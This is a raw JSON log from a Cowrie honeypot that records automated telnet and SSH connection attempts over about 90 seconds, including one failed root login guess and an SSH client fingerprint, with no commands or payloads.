{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51228,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef26d9b6ec53","protocol":"telnet","message":"New connection: 104.245.105.2:51228 (10.17.0.5:23) [session: ef26d9b6ec53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:56.584065Z"}
{"eventid":"cowrie.session.closed","duration":32.46752405166626,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:57.153374Z","src_ip":"142.93.2.99","session":"95d97b98152a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.560932636260986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:58.402750Z","src_ip":"142.93.2.99","session":"13199deded8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60662,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ab6ab778ac","protocol":"telnet","message":"New connection: 142.93.2.99:60662 (159.203.135.109:23) [session: c0ab6ab778ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:58.768688Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51242,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5ec0f133b7","protocol":"telnet","message":"New connection: 104.245.105.2:51242 (10.17.0.5:23) [session: 3a5ec0f133b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:58.777791Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33012,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9003b3d60de","protocol":"telnet","message":"New connection: 142.93.2.99:33012 (159.203.135.109:23) [session: c9003b3d60de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:59.511514Z"}
{"eventid":"cowrie.session.closed","duration":34.17881798744202,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:02.346463Z","src_ip":"142.93.2.99","session":"8992eb71dfd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46892,"dst_ip":"10.17.0.5","dst_port":23,"session":"29715fbd54fc","protocol":"telnet","message":"New connection: 104.245.105.2:46892 (10.17.0.5:23) [session: 29715fbd54fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:04.240181Z"}
{"eventid":"cowrie.session.closed","duration":33.59942317008972,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:07.662772Z","src_ip":"142.93.2.99","session":"2f4d97352815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00121521949768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:08.254562Z","src_ip":"173.33.197.75","session":"cfba5a967e42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":59468,"dst_ip":"159.203.135.109","dst_port":22,"session":"4839f52f26e6","protocol":"ssh","message":"New connection: 186.233.118.22:59468 (159.203.135.109:22) [session: 4839f52f26e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:12.289814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:12.294023Z","src_ip":"186.233.118.22","session":"4839f52f26e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:12.412931Z","src_ip":"186.233.118.22","session":"4839f52f26e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43292,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea953dbb55af","protocol":"telnet","message":"New connection: 142.93.2.99:43292 (159.203.135.109:23) [session: ea953dbb55af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:13.039963Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"xK123456","message":"login attempt [root/xK123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:13.102407Z","src_ip":"186.233.118.22","session":"4839f52f26e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42644,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcdfa90dbc68","protocol":"telnet","message":"New connection: 142.93.2.99:42644 (159.203.135.109:23) [session: bcdfa90dbc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:13.293459Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:14.224736Z","src_ip":"186.233.118.22","session":"4839f52f26e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.647451639175415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:16.037177Z","src_ip":"142.93.2.99","session":"e389f11ac37a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00163125991821,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:16.326474Z","src_ip":"173.33.197.75","session":"75f0f84c048c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":58528,"dst_ip":"159.203.135.109","dst_port":23,"session":"76bab3f1a83d","protocol":"telnet","message":"New connection: 173.33.197.75:58528 (159.203.135.109:23) [session: 76bab3f1a83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:16.818969Z"}
{"eventid":"cowrie.session.closed","duration":31.082358360290527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:20.395202Z","src_ip":"104.245.105.2","session":"4b2bc3928037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47044,"dst_ip":"159.203.135.109","dst_port":23,"session":"2114c313b743","protocol":"telnet","message":"New connection: 142.93.2.99:47044 (159.203.135.109:23) [session: 2114c313b743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:20.569697Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53234,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa41dda34dd9","protocol":"telnet","message":"New connection: 142.93.2.99:53234 (159.203.135.109:23) [session: fa41dda34dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:24.560527Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54420,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba39ab63076c","protocol":"telnet","message":"New connection: 142.93.2.99:54420 (159.203.135.109:23) [session: ba39ab63076c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:25.975185Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54058,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbdb0dfc3af7","protocol":"telnet","message":"New connection: 142.93.2.99:54058 (159.203.135.109:23) [session: dbdb0dfc3af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:26.539754Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54402,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6f3071992db","protocol":"telnet","message":"New connection: 142.93.2.99:54402 (159.203.135.109:23) [session: a6f3071992db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:26.957933Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40738,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52e32532e48","protocol":"telnet","message":"New connection: 104.245.105.2:40738 (10.17.0.5:23) [session: e52e32532e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:27.490561Z"}
{"eventid":"cowrie.session.closed","duration":30.89145827293396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:29.669126Z","src_ip":"104.245.105.2","session":"3a5ec0f133b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58144,"dst_ip":"159.203.135.109","dst_port":23,"session":"b07669dd19dc","protocol":"telnet","message":"New connection: 142.93.2.99:58144 (159.203.135.109:23) [session: b07669dd19dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:30.606252Z"}
{"eventid":"cowrie.session.closed","duration":32.637439012527466,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:32.148864Z","src_ip":"142.93.2.99","session":"c9003b3d60de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.501463413238525,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:32.270030Z","src_ip":"142.93.2.99","session":"c0ab6ab778ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59752,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9eec4a1dab0","protocol":"telnet","message":"New connection: 142.93.2.99:59752 (159.203.135.109:23) [session: c9eec4a1dab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:32.741917Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60698,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced8959a9158","protocol":"telnet","message":"New connection: 142.93.2.99:60698 (159.203.135.109:23) [session: ced8959a9158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:34.963858Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33942,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b15ffd3eb8","protocol":"telnet","message":"New connection: 142.93.2.99:33942 (159.203.135.109:23) [session: 90b15ffd3eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:35.887709Z"}
{"eventid":"cowrie.session.closed","duration":31.947949409484863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:36.188001Z","src_ip":"104.245.105.2","session":"29715fbd54fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37602,"dst_ip":"159.203.135.109","dst_port":23,"session":"1afb5b60ab97","protocol":"telnet","message":"New connection: 142.93.2.99:37602 (159.203.135.109:23) [session: 1afb5b60ab97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:40.372743Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38784,"dst_ip":"159.203.135.109","dst_port":23,"session":"121c2e120382","protocol":"telnet","message":"New connection: 142.93.2.99:38784 (159.203.135.109:23) [session: 121c2e120382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:41.957988Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38792,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01840d7e167","protocol":"telnet","message":"New connection: 142.93.2.99:38792 (159.203.135.109:23) [session: e01840d7e167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:41.967240Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38950,"dst_ip":"159.203.135.109","dst_port":23,"session":"d059f206a45c","protocol":"telnet","message":"New connection: 142.93.2.99:38950 (159.203.135.109:23) [session: d059f206a45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:42.155887Z"}
{"eventid":"cowrie.session.closed","duration":32.3419725894928,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:45.635355Z","src_ip":"142.93.2.99","session":"bcdfa90dbc68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87995886802673,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:45.919821Z","src_ip":"142.93.2.99","session":"ea953dbb55af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41438,"dst_ip":"159.203.135.109","dst_port":23,"session":"229bc8a0efd7","protocol":"telnet","message":"New connection: 142.93.2.99:41438 (159.203.135.109:23) [session: 229bc8a0efd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:48.213925Z"}
{"eventid":"cowrie.session.closed","duration":52.970770597457886,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:49.554690Z","src_ip":"104.245.105.2","session":"ef26d9b6ec53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45040,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee89b9b9035","protocol":"telnet","message":"New connection: 142.93.2.99:45040 (159.203.135.109:23) [session: 7ee89b9b9035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:49.751620Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45396,"dst_ip":"159.203.135.109","dst_port":23,"session":"c41d75f6869d","protocol":"telnet","message":"New connection: 142.93.2.99:45396 (159.203.135.109:23) [session: c41d75f6869d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:50.194461Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45866,"dst_ip":"159.203.135.109","dst_port":23,"session":"666dbfd52cbe","protocol":"telnet","message":"New connection: 142.93.2.99:45866 (159.203.135.109:23) [session: 666dbfd52cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:51.845669Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46938,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fa14032f98","protocol":"telnet","message":"New connection: 142.93.2.99:46938 (159.203.135.109:23) [session: d3fa14032f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:52.081680Z"}
{"eventid":"cowrie.session.closed","duration":32.550644636154175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:53.120249Z","src_ip":"142.93.2.99","session":"2114c313b743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50142,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e614e24896","protocol":"telnet","message":"New connection: 142.93.2.99:50142 (159.203.135.109:23) [session: b2e614e24896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:56.047050Z"}
{"eventid":"cowrie.session.closed","duration":33.52151846885681,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:58.081908Z","src_ip":"142.93.2.99","session":"fa41dda34dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46247959136963,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:58.437553Z","src_ip":"142.93.2.99","session":"ba39ab63076c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3499116897583,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:58.889555Z","src_ip":"142.93.2.99","session":"dbdb0dfc3af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.221872091293335,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:59.179695Z","src_ip":"142.93.2.99","session":"a6f3071992db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52788,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb3115f36f46","protocol":"telnet","message":"New connection: 142.93.2.99:52788 (159.203.135.109:23) [session: cb3115f36f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:56:59.379220Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53398,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e767cb1a0f7","protocol":"telnet","message":"New connection: 142.93.2.99:53398 (159.203.135.109:23) [session: 1e767cb1a0f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:00.171650Z"}
{"eventid":"cowrie.session.closed","duration":35.11842608451843,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:02.608886Z","src_ip":"104.245.105.2","session":"e52e32532e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56178,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eee0877fcdb","protocol":"telnet","message":"New connection: 142.93.2.99:56178 (159.203.135.109:23) [session: 8eee0877fcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:04.925984Z"}
{"eventid":"cowrie.session.closed","duration":34.88151693344116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:05.487670Z","src_ip":"142.93.2.99","session":"b07669dd19dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22197985649109,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:05.963773Z","src_ip":"142.93.2.99","session":"c9eec4a1dab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58262,"dst_ip":"159.203.135.109","dst_port":23,"session":"347ae994c8bb","protocol":"telnet","message":"New connection: 142.93.2.99:58262 (159.203.135.109:23) [session: 347ae994c8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:06.777388Z"}
{"eventid":"cowrie.session.closed","duration":32.67174506187439,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:07.635467Z","src_ip":"142.93.2.99","session":"ced8959a9158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60818,"dst_ip":"159.203.135.109","dst_port":23,"session":"512e0abf4400","protocol":"telnet","message":"New connection: 142.93.2.99:60818 (159.203.135.109:23) [session: 512e0abf4400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:10.021013Z"}
{"eventid":"cowrie.session.closed","duration":35.29500865936279,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:11.182605Z","src_ip":"142.93.2.99","session":"90b15ffd3eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33734,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb1d3b251792","protocol":"telnet","message":"New connection: 142.93.2.99:33734 (159.203.135.109:23) [session: fb1d3b251792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:11.342173Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34574,"dst_ip":"159.203.135.109","dst_port":23,"session":"e33c06d06fbc","protocol":"telnet","message":"New connection: 142.93.2.99:34574 (159.203.135.109:23) [session: e33c06d06fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:12.424736Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34584,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c62e28c4b9f","protocol":"telnet","message":"New connection: 142.93.2.99:34584 (159.203.135.109:23) [session: 8c62e28c4b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:12.435446Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35336,"dst_ip":"159.203.135.109","dst_port":23,"session":"eff92e0ec495","protocol":"telnet","message":"New connection: 142.93.2.99:35336 (159.203.135.109:23) [session: eff92e0ec495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:13.279844Z"}
{"eventid":"cowrie.session.closed","duration":33.45775032043457,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:13.830391Z","src_ip":"142.93.2.99","session":"1afb5b60ab97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64877367019653,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:14.606628Z","src_ip":"142.93.2.99","session":"121c2e120382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37176,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d46c5494d1","protocol":"telnet","message":"New connection: 142.93.2.99:37176 (159.203.135.109:23) [session: 21d46c5494d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:15.232337Z"}
{"eventid":"cowrie.session.closed","duration":33.34006690979004,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:15.307190Z","src_ip":"142.93.2.99","session":"e01840d7e167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00733280181885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:16.163121Z","src_ip":"142.93.2.99","session":"d059f206a45c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46881103515625,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:20.682643Z","src_ip":"142.93.2.99","session":"229bc8a0efd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48612904548645,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:22.680492Z","src_ip":"142.93.2.99","session":"c41d75f6869d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44068,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ef9e69e4d25","protocol":"telnet","message":"New connection: 142.93.2.99:44068 (159.203.135.109:23) [session: 1ef9e69e4d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:22.760059Z"}
{"eventid":"cowrie.session.closed","duration":33.317800998687744,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:23.069320Z","src_ip":"142.93.2.99","session":"7ee89b9b9035","protocol":"telnet"}
